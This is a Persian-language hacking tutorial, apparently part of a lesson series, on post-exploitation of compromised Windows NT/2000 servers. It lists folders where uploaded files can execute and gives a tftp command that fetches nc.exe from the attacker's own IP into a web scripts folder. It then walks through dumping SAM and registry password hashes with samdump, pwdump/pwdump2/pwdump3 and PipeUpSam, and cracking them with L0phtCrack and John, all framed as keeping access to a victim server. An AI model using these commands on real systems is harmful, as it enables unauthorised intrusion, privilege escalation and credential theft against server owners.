- یادآوری
این مقاله ادامه مقاله قبلیه! در این
درس نیز ما با یک سرور ویندوز به صورت یک کامپیوتر منفرد سروکار داریم و توجهی به
کامپیوترهای متصل به اون در شبکهای که هست نداریم.
-
فولدرهایی از ویندوز با مجوز اجرا
فرض کنید که الان از طریق روشی
توانستید مجوز ایجاد یا کپی کردن فایلی رو در تعدادی از فولدرهای ویندوز قربانی
بدست بیاورید. در این گونه موارد هدف اینه که فولدری رو پیدا کنیم که برای ما با
مجوزی که الان داریم (مثلا guest )، اجازه اجرا ( execute ) رو بده. دلیلش مشخصه،
مثلا اگه الان با guest وارد شدید، ممکن است بخواهید که به سطح Admin برسید. این
کار ممکنه با دستورات خود ویندوز ممکن نباشه و شما مجبور شوید که یه فایل اجرایی رو
به کامپیوتر قربانی کپی کنید تا با اجرای اون شما از guest به Admin برسید. حالا
اگه این فایل خلافکار! رو به فولدری کپی کنید که مجوز اجرا رو برای اکانت شما
نداشته باشه، عملا نمیتونید از اون فایل استفاده کنید. افتاد؟
درس قبلی یک سری
ابزار از NTRK معرفی کردم که اسمشون ابزارهای بررسی مجوزهای NTFS بود ( از جمله
perms و showacls ). از اینها هم در این مرحله نمیتونید استفاده کنید. اگه گفتید
چرا؟ درسته! چون اینها هم به هر حال یک سری ابزار و نرمافزار خارجی هستند ( یعنی
به طور پیشفرض در خود ویندوز وجود ندارند ) و از طرف دیگه ابزارهای لوکال هستند (
یعنی برای استفاده باید به کامپیوتر قربانی کپی شوند ) و واضحه که باید به فولدری
کپی بشوند که مجوز اجرا داشته باشه و چون من نمیدونم کدوم فولدر مجوز اجرا داره،
نمیتونم از اینها استفاده کنم! ( این ابزارها هم کاربردهایی دارند که گاه خیلی
مهمه، عجله نکنید! )
خوب حالا من چکار میتونم بکنم؟
روش اول کوشش و خطاست.
این بدترین راه و گاه موثرترین راه حل است! یعنی مثلا یه فایل کوچک رو تو فولدرهای
مختلف کپی کنم و ببینم که کدومشو میتونم اجرا کنم ( یعنی کدوم فولدر به اون فایل
اجازه اجرا میده ). این روش نیازی به توضیح نداره چون ایرانیها خدای این کاران
:)
روش بهتر اینه که من با دانشی که دارم بدونم که معمولا چه فولدرهایی مجوز
اجرا رو به من میدهند. که الان میخوام اینو بگم:
۱- اگه با یک باگ مربوط
به IIS به شل دست یافتهاید، معمولا یکی از اینها رو انتخاب کنید:?:\inetpub\scripts
?:\program files\common files\system\msadc
منظور از (؟) در موارد بالا اینه که ممکنه که فولدر مربوطه در هر درایوی باشه
( مثلا درایو C یا D و...) و ممکنه لازم باشه یه کم بگردید که پیداش کنید. نکته
بعدی اینه که فولدرهایی که گفتم این اجازه رو میدن که هم فایل اجرایی ( با پسوند
exe ) و هم اسکریپتها ( مثل asp و ... ) در اونا بذاریم و اجرا کنیم. دقت کنید که
خیلی کارها رو میشه بدون کمک فایل اجرایی ( فایل خرابکار ) انجام داد. مثلا اگه
قرار باشه صفحه اول سایتی عوض بشه، این کار رو گاه میشه با اسکریپتها هم انجام
داد. بنابراین این پایین لیست فوادرهایی رو براتون میگم که فقط اجازه اجرای
اسکریپت رو میدهند ( نه اجرای فایل اجرایی! ) : ?:\winnt\help\iishelp
?:\inetpub\iissamples
%SystemRoot%\System32\inetsrv\iisadmin
%SystemRoot%\System32\inetsrv\iisadmpwd
%SystemRoot%\web\printers
توضیح لازم اینه که وقتی میگم %SystemRoot% منظور همون فولدری است که ویندوز
در اون نصب شده، بنابراین میتونه مثلا C:\WINNT باشه یا H:\WINDOWS باشه و یا هر
چیز دیگه. ما از همون عبارت %SystemRoot% که استفاده کنیم خودش ما رو میبره همونجا
!
حالا چرا باگهای IIS رو جدا کردم؟ دلیلش اینه که بعضی از این باگها وقتی
ازشون سوءاستفاده بشه، به ما اختیاراتی در حد IUSR_xxxxx-yyyyy میده ( که قبل گفتم
این چیه ) و اختیارات در حد Admin نیست. بنابراین از این فولدرهای خاص استفاده
کردیم.
۲- اگه با باگهای غیر از IIS به شل دست پیدا کردید، انتخاب فولدر
درست معمولا بستگی به این داره که چه سرویس ( و پورتی ) رو exploit کردهایم و به
چه اکانتی دست پیدا کردهایم. اگه دسترسی ما کامل باشه ( یعنی در حد Admin باشه )
بهترین فولدر برای قرار دادن و اجرای فایلهای اجرایی این فولدرهاست: %SystemRoot%
%SystemRoot%\system32
اگه با اکانتی که بدست آوردهاید به این فولدرها دسترسی ندارید ( مثلا از
طریق NetBIOS با یک اکانت محدود وارد شدهاید ) بهتره همون روش ایرانی! ( کوشش و
خطا ) رو پیش بگیرید.
آخرین نکتهای که باید اینجا بگم، اینه که وقتی
میخواین از طریق tftp فایل اجرایی رو بفرستید روی اون فولدر خاص، باید آدرس فولدر
رو هم آخر دستور مربوط به tftp بنویسید. مثلا اگر IP ما در این لحظه 217.66.198.116
باشه، و بخوام فایل nc.exe رو بفرستم به فولدر c:\inetpub\scripts باید بنویسم: tftp -i 217.66.198.116 GET nc.exe c:\interpub\scripts\nc.exe
یعنی وقتی
سرور قربانی فایل رو میگیره، اونو تو این فولدر که مشخص کردم قرار بده ( و نه
فولدر فعلی ).
- بدست آوردن username و password ها
در حالت دسترسی local
تاکید میکنم که بحث ما در اینجا پسوردهای
Active Directory نیست بلکه پسوردهای لوکال خود کامپیوتر است. فرض کنید که من الان
یه فولدر پیدا کردهام که به من اجازه اجرای فایلهایی که داخلش فرستادم رو میده.
( یعنی همون چیزی که بالا بهش اشاره کردم ). من ممکنه بخوام پسوردهای این ویندوز
سرور رو پیدا کنم تا اگه احیانا فردا پسفردا اون باگی که انگولکش کردم، توسط مسوول
سرور برطرف شد، دستم به یه جایی بند باشه!! یا اینکه بخوام حتما پسورد اکانت خاصی
مثل Administrator رو بدست بیارم که خیلی مهمه. برای کشف پسوردها اول باید بدونید
که پسورد فلان اکانت، چطوری و کجا در ویندوز نگهداری میشه و چه مراحلی طی میشه تا
یه پسورد از شکل اولیه یعنی plain-text ( یعنی خود پسوردی که واسه اکانت انتخاب شده
) تبدیل بشه به یه پسورد hash شده ( یعنی رمز بشه ) و بعد در ویندوز ذخیره
بشود:
۱- پسورد باید رمز شود و پسورد به صورت hash شده در آید. ویندوز از دو
روش برای hash استفاده میکند:
الف) LanMananager Hash یا LANMAN Hash یا LMhash
:
این روش hash کردن روشیاست که در ویندوزهای قدیمی ( قبل از NT های جدید یعنی
در 3.1 ، 95، 98، Me و NT های قدیمی ) استفاده میشده است و هنوز هم ساپورت میشود.
این روش hash کردن پسورد اولین بار توسط IBM استفاده شد ولی مشکلات امنیتی زیادی
داره ( یه بار مایکروسافت خواست خودش گاف نده، ایندفه با گاف IBM رفت تو چاه! ). در
این روش hash کردن حداکثر طول پسورد میتونه ۱۴ حرف باشه. یه مثال میزنم. فرض کنید
که قرار پسوردی به اسم thepassword ذخیره بشه، چون طول این پسورد از ۱۴ حرف کمتره،
انقدر 0 به آخر پسورد اضافه میشه که ۱۴ حرفی بشه ( منظور از 0 در اینجا کارکتر عددی
صفر نیست بلکه منظور چیزی است که در برنامهنویسی بهش NULL میگیم و ما برای سادگی
کار اونو با همون کاراکتر 0 نشون دادهایم ) ، یعنی پسورد میشه: thepassword000
حالا اتفاقی که میافته اینه که حروف کوچک انگلیسی به حروف بزرگ تبدیل میشه، یعنی
حالا داریم: THEPASSWORD000 و بعد این رشته به دو رشته ۷ کاراکتری تقسیم میشه،
یعنی: THEPASS و WORD000 بعد میآد و هر کدوم رو با یه الگوریتم یک طرفه ( یعنی غیر
قابل برگشت ) رمز میکنه بعد کنار هم میچینه و یه رشته ۳۲ کاراکتری ( به صورت Hex
) نتیجش میشه، مثلا پسورد مورد نظر ما به صورت 7C349F26F362950F05382367BF6677B7
در میاد. این میشه اولین روش hash که بهش LM میگویند. مشکلات این روش ذخیره سازی
اینه که اولا طول پسورد حداکثر ۱۴ حرفه، ثانیا این روش case insensive ه یعنی حروف
بزرگ و کوچک فرقی نداره، ثالثا چون پسورد به دو قسمت ۷ تایی تقسیم میشه، میشه هر
کدوم رو به تنهایی crack کرد، رابعا مشکلی به دلیل نبودن salt هست در این روش که در
آخر مقاله بحث میکنم که چیه.
ب) روش NT hash یا NTLM hash:
روش بهتری است،
در این روش از الگویتم MD4 استفاده میشه ( مثل اکثر یونیکسها ) و نتیجه باز هم یه
رشته ۳۲ کاراکتری است. تمام موارد ایرادی که در بالا بود ( یعنی اولا و ثانیا و
ثالثا ) حل شده ولی مشکل رابعا هنوز هم هست!
حالا این رابعا ( نبودن salt ) چی
هست؟ از قدیم الایام معلوم بوده که مایکروسافت بعد از hash کردن پسوردها از salt
(نمک!) استفاده نمیکنه. این باعث میشه که اگه دو تا کامپیوتر باشه که در هر دو
پسورد اکانت guest مثلا thepassword باشه (یعنی دو کامپیوتر مختلف از یک پسورد واحد
استفاده کنند)، نتیجه hash اون در هر دو یکسان بشه. یعنی اینکه وقتی یه رشته خاص
رمز بشه، نتیجه نهایی همیشه یکسان است ( یعنی همیشه LM ها شبیه به هم و NT ها هم
شبیه به هم خواهند بود). و این به نفع هکره :) در سیستمهای شبهیونیکس، به دلیل
اضافه کردن نمک! ، 4096 جور مختلف میشوند و این باعث میشه، کار کرک کردن به همین
اندازه بیشتر بشه.
نکته بعدی که هست اینه که چرا با وجود اینکه روش NTLM از LM
بهتره، چرا هنوز هم LM ساپورت میشه؟ دلیلش اینه که برای حفظ سازگاری هنوز هم
استفاده میشه. مثلا اگه قرار باشه یه ویندوز 98 به یه ویندوز 2000 کانکت بشه، باید
2000 بتونه هویتسنجی و اتصال رو انجام بده. اگه همه ویندوزها در شبکه مدل بالا!
باشند، میشه LM رو غیر فعال کرد.
۲- حالا ما هم نتیجه hash شده پسوردها رو
داریم، کجا باید اینها ذخیره بشوند:
الف) فایل SAM :
ویندوز سرورها برای
ذخیره کردن اکانتهای لوکال از فایلی به اسم SAM استفاده میکنند. ( ویندوزهای غیر
NT ها از فایلهای PWL استفاده میکردند). فایل اصلی SAM اینجاست: %SystemRoot%\System32\Config\
میتونید نگاه کنید تا مطمئن بشید
که هست! یه مطلبی که هست اینه که وقتی با ویندوز بالا اومدید، فایل SAM مربوط به
اون به صورت protected یا حفاظت شده است. در نتیجه نمیتونید همینطوری مثلا کپی
کنید یا بخونید. دقت کنید که فایل SAM هیچگونه پسوندی ندارد.
یه مورد دیگه هم
هست که باید دقت کنید، گاهی یک نسخه compressed از فایل SAM به اسم _.SAM در
دایرکتوری SystemRoot%\repair% وجود دارد که از اون هم میشه استفاده کرد. ( این
فایل موقع backup گیری از اطلاعات سیستم توسط ابزار rdisk ایجاد میشود ) جزئیاتش
مهم نیست، فقط چک کنید ببینید که همچین فایلی اونجا هست یا نه :) حتی گاهی میتونید
یه کپی ( غیر فشرده یا غیر compressed رو ) در این فولدر پیدا کنید .
ب)
رجیستری:
یک سری کلید و ورودی در رجیستری هست که اگرچه کاربرد زیادی برای
سیستمعامل دارند ولی به صورت hidden هستند ( یعنی به راحتی قابل مشاهده و تغیییر
نیستند). از جمله این کلیدها، اونهایی هستند که اطلاعاتی شبیه به SAM رو در خود
دارند ( یعنی LM hash, username و NT hash ). که برای یک هکر ارزشمند است.
ج)
Active Directory:
در شبکهای از ویندوز سرورها، AD برای نگهداری پسوردهای دومین
و گروههای global به کار میرود ( البته در ویندوز ۲۰۰۰، نه در NT 4.0 ، زیرا در
NT 4.0 در هر حال طرف حساب ما یا SAM است یا registery ). فعلی بحث ما این چیزها
نیست!
یه مطلبی هست راجع به SYSKEY که باید توضیح بدم. یک تکنولوژی! جدید
است که فکر کنم از SP2 ( یعنی Service patch شماره ۲ ) از ویندوز NT 4.0 به بعد
اعمال میشود و در نتیجه در مورد ویندوز ۲۰۰۰ هم ( با یا بدون سرویس پچ ) وجود
دارد. کارش هم این است که پسوردهای ذخیره شده ( در رجیستری ) را یه بار دیگه رمز
میکند تا امنیتش زیاد شود.
خوب حالا برسیم به کار عملی!
من کل
عملیات تغییر و ذخیره پسورد در ویندوز سرورها رو در ۲ مورد خلاصه کردم که خوندید.
حالا ما باید عمل عکس رو انجام بدیم تا به پسورد برسیم. در نتیجه
۱- اولین
کار ما اینه که بتونیم از فایل SAM و یا از رجیستری، username ها و LM ها و NTLM ها
رو در بیاریم. به این کار به طور کلی DUMP کردن یا Extract کردن میگویند. یه مثال
میزنم که خوب متوجه بشین. فرض کنید که اکانتی دارم به اسم guest که پسورد اون
thepassword است. چیزی که میخوام با dump کردن بهش برسم، چیزی مثل اینه: guest:1011:7C349F26F362950F05382367BF6677B7:9D5DF8F2A588405949DE0917CC19F8DD:::
البته
به تعداد اکانتهای محلی که در کامپیوتر قربانی وجود دارد، یه سطر داده مثل این
بالایی هست. اینجا چهار داده مهم داریم، اولی اسم اکانت است، بعد یه دونقطه (:)
داریم و بعد یه عدد که نشون میده این اکانت یازدهیم اکانتی است که در این کامپیوتر
ایجاد شده است ( اولین اکانت عدد ۱۰۰۰ دارد )، بعد دوباره دونقطه داریم، بعد LM
hash رو داریم یعنی 7C349F26F362950F05382367BF6677B7 بعد دوباره دونقطه و بعد NTLM
hash یعنی 9D5DF8F2A588405949DE0917CC19F8DD
یه مطلب فوقالعاده مهم اینجا هست
که باید بگم، اونم اینه که در تمام مواردی که میخواهیم DUMP کنیم، باید اولا لوکال
باشیم ( یعنی باید ابزار کار رو به کامپیوتر هدف بفرستیم و اونجا به کمک یه shell
اونو اجرا کنیم ) و ثانیا باید اختیارات ما در حد Administrator باشه ( یعنی در
واقع بالاترین سطح اختیارات رو داشته باشیم ). پس همه این موارد واسه اینه که ما
بتونیم با بدست آوردن پسورد اکانتهای مختلف بتونیم مدت بقای خودمون رو در این سرور
افزایش بدیم. خوب حالا وقتشه که شروع کنیم:
الف) Dump کردن از فایل SAM
:
این کار رو میتونیم به دو روش انجام بدیم.
+ روش اول:
در این روش باید
یه کپی از فایل SAM رو گیر بیاریم. این نسخه رو به هر روشی میشه گیر آورد مهم اینه
که این فایل SAM نمیتونه خود فایلی باشه که در محل اصلی به صورت محافظت شده
نگهداری میشه، بلکه باید یه کپی از اون باشه. روشهای زیادی واسه بدست آوردن این
فایل هست:
» میتونید به کمک یک فلاپی درایو bootable مربوط به ویندوز ۹۸ و به
کمک ابزاری به اسم ntfsdos
این کار رو انجام بدیم. ( به درد ما نمیخوره چون ما دسترسی فیزیکی به سرور
نداریم ) در این حالت دیگه اون فایل SAM اصلی محافظت شده نیست چون با سیستمعامل
دیگری بالا اومدیم و میتونیم اون فایل اصلی رو یه نسخه اش کپی کنیم.
» میتونیم
از فایل backup شده SAM یعنی _.SAM که در آدرس SystemRoot%\repair\% بود استفاده
کنیم. به این ترتیب که این فایل که هیچ محافظتی ازش نمیشه رو به یه جایی کپی کنیم و
بعد دستور زیر رو اجرا کنیم: expand sam._ sam
دقت کنید که expand یکی از ابزارهای NTRK است.
با این دستور مثل اینه که یه نسخه معادل sam رو ( با اون اکانتهایی که موقع آخرین
backup گیری داشتهایم ) ایجاد میکنیم که میتونیم ازش استفاده کنیم.
»
و...
حالا که یه نسخه از فایل SAM رو داریم که معادل فایل SAM اصلی است،
میتونیم از ابزاری به اسم samdump استفاده
کنیم. مثلا اگر فایل SAM ی که ایجاد کردهایم در آدرس c:\folder باشه و اسمش هم
باشه SAM ، برای dump کردن hash ها مینویسیم: samdump c:\folder\SAM
و جواب میگیریم: Administrator:500:CD9112302C53CECC7C3113B4A1A5E3A0:F873525F352BCF1243B83938AC28A147:::
ali:1009:NO PASSWORD*********************:NO PASSWORD*********************:::
guest:1011:7C349F26F362950F05382367BF6677B7:9D5DF8F2A588405949DE0917CC19F8DD:::
,...
کاملا واضحه و نیازی به توضیح نداره. اگه میخواستیم که اطلاعات در فایلی
ذخیره بشه به اسم مثلا hash.txt باید مینوشتم: samdump c:\folder\SAM > hash.txt
وقتی SYSKEY نصب شده باشد (
مثلا در ویندوز ۲۰۰۰ اینطوریه ) دیگه samdump نمیتونه کاری بکنه و عملا بدرد
نمیخوره.
+ روش دوم:
استفاده از نقاط ضعف و اکسپلویتکردن آنها. یه مثال
ساده هست که در ویندوز ۲۰۰۰ کار میکنه. در این روش کافی است از برنامهای به نام
PipeUpSam ( که میشه گفت یه جور exploit است، استفاده کنید ). این ابزار خیلی قشنگ
میاد و فقط با اجرای دستور زیر میتونه این اطلاعات رو از فایل SAM بگیره و مثلا در
فایلی به اسم hash.txt ذخیره کنه: pipeupsam hash.txt
اون سایتی که من قبلا این فایل رو ازش گرفتم،
فعلا کرکرهاش پایینه! تو اینترنت بگردید و فایل رو پیدا کنید.
ب) Dump کردن
از رجیستری:
ملاحظه فرمودید که Dump کردن از فایل SAM معمولا دنگوفنگ داره (
البته بجز اون روشی که توسط PipeUpSam بودش). به هر حال راه ساده برای Dump کردن
این hash ها هست که اون هم از طریق رجیستری است. همونطور که گفتم، کلیدهای مربوطه
در رجیستری به صورت hidden است و نمیتونید با روشهای معمول چیزی ازش بخونید ولی
میتونید به کمک ابزارهایی این کار رو انجام بدید:
+ وقتی SYSKEY نصب نشده
است:
این حالت وقتی پیش میاد که قراره پسوردها رو از رجیستری یه کامپیوتر NT 4.0
و قبل از SP2 بگیریم. در این حالت ابزار pwdump رو به کار
میبریم. کافی است بنویسیم: pwdump
و نتایج بیاد یا میتونیم اینا رو در فایلی به اسم
hash.txt ذخیره کنیم، با این دستور: pwdump > hash.txt
+ وقتی SYSKEY نصب شده باشد:
در ویندوز
۲۰۰۰ به صورت پیشفرض اینگونه است. برای این کار میتونید از ابزاری به اسم pwdump2
استفاده کنید که هم نسخه قدیمی و
هم نسخه جدید
دارد. در هر دو نسخه، اسم فایلهای اصلی pwdump2.exe و samdump.dll است که باید
هردو به سرور قربانی کپی شوند ( در یه فولدر خاص ) تا کار کنند. فرق نسخه قدیمی با
جدید اسن است که در نسخه قدیمی باید یه فایل از NTRK به اسم pulist را هم به
همان فولدر کپی کنید و ازش استفاده کنید. مراحل زیر رو باید طی کنید:
:: اگر
نسخه قدیمی رو استفاده میکنید، اول مینویسید: pulist | find "lsass"
و مثلا جواب میشنوم: lsass.exe 63 NT ...
این دستور میاد و Process
ID یا همون PID مربوط به lsass.exe رو پیدا میکند تا بعد بتونیم از این PID
استفاده کنیم. در اینجا PID مربوطه، 63 است. این مرحله لازم نیست در صورتیکه از
نسخه جدید استفاده میکنید.
:: حالا باید pwdump2 رو اجرا کنیم. اگه نسخه قدیمی
باشد، مینویسیم: pwdump2 63
که ۶۳ همان PID است که بدست آوردهایم. ولی اگر نسخه
جدید باشد، لزومی نیست که PID رو بدست بیاوریم، بلکه با دستور زیر کار تمام است: pwdump2
و لیست hash ها میاد، میتونستیم اطلاعات رو در یک فایل
ذخیره کنیم، مینوشتیم: pwdump2 > hash.txt
به همین راحتی!
نکته: یه ابزاری هست
به اسم
pwdump3rev2 و یا
pwdump3v2 و یا pwdump3e (هر سه فایل
زیپ، حاوی فایلهای pwdump3.exe و pwservice.exe و lsaExt.dll ) فرق این pwdump3 با
pwdump های دیگر، این است که وقتی که pwdump3 اجرا شود، به صورت remote کار میکند.
به این ترتیب که مثلا username ( در حد اکانتهای Admin ) رو مشخص میکنیم و با
اجرای pwdump3 ، از ما پسورد میخواهد (یعنی باید username و password رو داشته
باشیم) و اتصال برقرار شده (اتصال از نوع netbios ) و بعد دو فایل دیگر رو میفرستد
به سرور و بعد یک سرویس تشکیل میدهد که به صورت remote میتونه این hash ها را
برای ما بفرستد. ( بعد از فرستادن اطلاعات، فایلها پاک شده و سرویس نیز ار بین
میرود ). برای توصیحات بیشتر میتونید readme رو در فایل zip بخونید.
۲)
خوب حالا ما تونستیم این hash ها رو بدست بیاریم ( مثلا به شکل یه فایل به اسم
hash.txt ) کار بعدی اینه که این hash رو به کامپیوتر خودمون آورده، و بعد اونو به
صورت پسورد واقعی در بیاریم. همانطور که گفتم هر دو روش LM و NTLM از الگوریتمهای
یک طرفه برای رمز کردن استفاده میکنند و نتیجه اینه که نمیشه مستقیما این hash
ها رو به پسورد تبدیل کرد. بلکه روش کار اینه که باید پسوردها رو crack کنیم. به
این ترتیب که لیست بزرگی از پسوردها رو با هر کدام از این الگوریتمها ( LM یا NTLM
) رمز کرده و نتیجه رو با چیزی که در فایل hash.txt داریم، مقایسه کنیم. اگر یکی
بودند، یعنی پسورد درست است. حالا روشهای محتلفی که برای crack کردن کاربرد دارند،
اینها هستند:
» dictionary attack: در این روش یک فایل بزرگ که حاوی کلمات زیادی
است به کار میرود و با توجه به اینکه تعداد زیادی از مردم از کلمات معنادار
استفاده میکنند، ممکن است به جواب برسه. این فایلهای دیکشنری رو در درس مربوط به
پورت ۱۳۹ گفتم از کجا میتونید پیدا کنید.
» Brute Force: در این روش تمام حالات
ممکنه رو امتحان میکنیم، مثلا از پسوردهای یک کاراکتری شروع میکنیم و تمام حالات
ممکنه رو تست میکنیم و اگه جواب نداد ۲ حرفی و ... مشخصه که این روش بسیار کنده.
ولی اگه مثلا بدونیم پسوردی که فلان فرد استفاده میکنه، چند حرفیه، میتونیم کار
رو کمی سریعتر کنیم...
» Syllable attack: در این روش یک کلمه به سیلابهاش
تقسیم شده و بین اینها کاراکترهایی قرار داده میشه و نتیجه تست میشه. بعضی افراد
از چنین پسوردهایی استفاده میکنند.
» Hybrid یا rule based: در این روش از یک
سری اصول استفاده میکنیم مثلا تمام پسوردهایی که حروف اولش یک کلمه انگلیسی باشه و
بعد از اون مثلا تا سه حرف رندوم. میشه گفت ترکیب dictionary و brute force
است.
» و...
حالا که با روشهای crack آشنا شدید، وقتشه که چند ابزار واسه
این کارها معرفی کنم:
الف- L0pht Crack :
مشهورترین ابزار کرک کردن پسوردهای
hash شده است که واسه سیستمعامل ویندوز طراحی شده است. این ابزار نسخه پولی دارد
به اسم LC4
که گرافیکی است ( با trial برای ۱۵ روز ) و نیز نسخه خطفرمانی مجانی و Open
Source به اسم LC1.5
که میشه گفت یه نسخه لایت است. کار با نسخه گرافیکی بسیار ساده است. و روشهای
کرکی که گفتم رو ساپورت میکنه ( بجز روش سیلابل ) . نسخه متنی و مجانی، هیبرید و
سیلابل رو ساپورت نمیکنه ولی دو تای دیگه رو ساپورت میکنه.
کار کردن باهاش ساده است. دقت کنید که چون خود LC4 داخل خودش
ابزارهای samdump و pwdump و pwdump2 رو داره، بنابراین نیازی به اینها نیست. پس
مثلا هم میتونه یک فایل SAM رو کرک کنه و هم میتونه فایلی که به اسم hash.txt
ایجاد کردیم رو کرک کنه و ... خودتون تست کنید و لذت ببرید.
خود سایت ادعا داره
که با LC4 میشه ۱۸٪ پسوردها رو در عرض ۱۰ دقیقه باهاش کرک کرد و ۹۰٪ پسوردها رو در
۴۸ ساعت. منابع بیطرف میگن که ۱۰٪ پسوردها در چند ساعت و ۲۵٪ پسوردها در چند روز
کرک میشه. در هر دو صورت ملاحظه میکنید که کار باهاش کند است.
یه نکته مهم در
مورد LC4 هست که میتونه کاری شبیه به همون pwdump3 که بحثاش رو کردم انجام بده
ولی چون من کلا با محصولات پولی لجم! هیچی ازش نمیگم :)
در مورد LC1.5 که متنی
است، اگر فایل hash که داریم اسمش hash.txt باشد و دیکشنری که استفاده میکنیم،
اسمش theargon.lst باشد، برای کرک کردن با این ابزار و روش dictionary attack
مینویسیم: lc_cli -p hash.txt -w theargon.lst
میتوانید سویچهای
-l رو استفاده کنید که فقط hash های LM تست شود، و یا سویچ -n که فقط hash های NTLM
تست شود. اگر هیچیک از این سویچها رو بکار نبرید ( مثل مثالی که در بالا نوشتم )
هر دو تست خواهند شد. حالا میخوام توسط این ابزار متنی، hash.txt رو به روش brute
force کرک کنم. مینویسم: lc_cli -p hash.txt -b
این روش خیلی طولانی خواهد
بود.
ب- John the Ripper یا John :
این هم یکی از ابزارهای مهم برای کرک کردن
پسوردهای ویندوز NT ( ونیز پسوردهای یونیکس ) است. هم نسخه ویندوزی و هم نسخه
یونیکسی ( لینوکسی ) دارد. به صورت خطفرمانی است. نکته مهم اینه که John در مورد
پسوردهای ویندوز فقط میتونه LM رو کرک کنه ( و نه NTLM ها رو ). برای دریافت
John اینجا رو کلیک
کنید.
برای کار با John اولین کار این است که فایل John.ini رو تنظیم کنیم.
اینجا میتونیم، مثلا اسم فایل دیکشنری رو تنظیم کنید ( پیشفرض اون password.lst
است ) ولی بقیه تنظیمات لزومی به تغییر ندارند. قبلا هم که فایل hash.txt رو
داشتهایم. مینویسید: john hash.txt
و بعد از اینکه کار تمام شد، مینویسیم: john -show hash.txt
و نتایج نمایش داده میشوند.
این بحث
را میخوام تموم کنم ولی قبلش باید از یک پیشرفت جدید در کرک کردن پسوردهای ویندوز
اسم ببرم. گفتم که ویندوز در hash کردن از salt (نمک) استفاده نمیکند. این باعث
میشه بتونیم یه جدول بزرگ درست کنیم که بتونیم کار کرک کردن رو سریعتر کنیم. این
کار رو جدیدا تیم LASEC
انجام داده است. با روشی که اینها استفاده کردند، 99.9% پسوردهایی که فقط حاوی
عدد یا حرف باشند ( یعنی alphanumbric باشند )، در چند ثانیه کرک میشوند. قبلا یه
نسخه آنلاین در سایتشون بودش که در حدود ۱۳ ثانیه کار کرک رو تموم میکرد ( این
یعنی خیلی پیشرفت ) ولی الان اونو ورداشتهاند. امیدواریم به زودی یه نسخه قابل
داونلود در سایتشون بذارند ( که احتمالا ۲ گیگابایت خواهد بود! ) ما هم لینک بدیم
:)